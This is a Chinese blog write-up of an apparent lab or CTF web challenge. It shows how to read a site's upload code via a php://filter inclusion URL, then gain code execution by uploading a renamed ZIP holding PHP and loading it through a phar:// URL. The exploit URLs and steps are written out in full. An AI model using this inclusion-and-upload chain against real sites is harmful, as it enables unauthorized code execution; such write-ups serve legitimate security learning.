zoukankan      html  css  js  c++  java
  • 记一次简单的GetShell案例

    案例链接:

    http://202.112.51.184:8007/

    打开链接,发现分了多个页面:

    挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:

    于是输入:

    http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

    得到一串base64编码:

    在线解密后得到网页隐藏源码:

     1 <html lang="zh-CN">
     2   <head>
     3     <meta charset="utf-8">
     4 <?php
     5 $error=$_FILES['pic']['error'];
     6 $tmpName=$_FILES['pic']['tmp_name'];
     7 $name=$_FILES['pic']['name'];
     8 $size=$_FILES['pic']['size'];
     9 $type=mime_content_type($tmpName);
    10 try{
    11     if($name!=="")
    12     {
    13         $name1=substr($name,-4);
    14         if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip'))
    15         {
    16             echo "hehe";
    17             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
    18             exit;
    19         }
    20         if($type!=="image/jpeg"&&$type!=="image/gif")
    21         {
    22             echo mime_content_type($tmpName);
    23             echo "<script language=javascript>alert('上传照片只能是JPG或者GIF!');history.go(-1)</script>";
    24             exit;
    25         }
    26         if(is_uploaded_file($tmpName)){
    27             $time=time();
    28             $rootpath='uploads/'.$time.$name1;
    29             if(!move_uploaded_file($tmpName,$rootpath)){
    30             echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
    31             exit;
    32         }
    33     }
    34     echo "图片ID:".$time;
    35     }
    36 }
    37 catch(Exception $e)
    38 {
    39     echo "ERROR";
    40 }
    41 //
    42  ?>
    43  </html>

    从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手

    在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:

    <?php phpinfo();?>

    将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:

    然后记住图片ID,在view页搜索后跳转出现以下页面:

    这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:

    http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

  • 相关阅读:
    理解极大似然估计(MLE)
    模型评估——ROC、KS
    tf.estimator.Estimator类的用法
    TensorFlow中数据读取之tfrecords
    常用数据库的启动与关闭
    几种常见的损失函数
    目标检测模型的性能评估--MAP(Mean Average Precision)
    正则化如何防止过拟合
    Android学习笔记之ConnectivityManager+NetWorkInfo
    关于2015年的相关总结
  • 原文地址:https://www.cnblogs.com/yang12318/p/9438768.html
Copyright © 2011-2022 走看看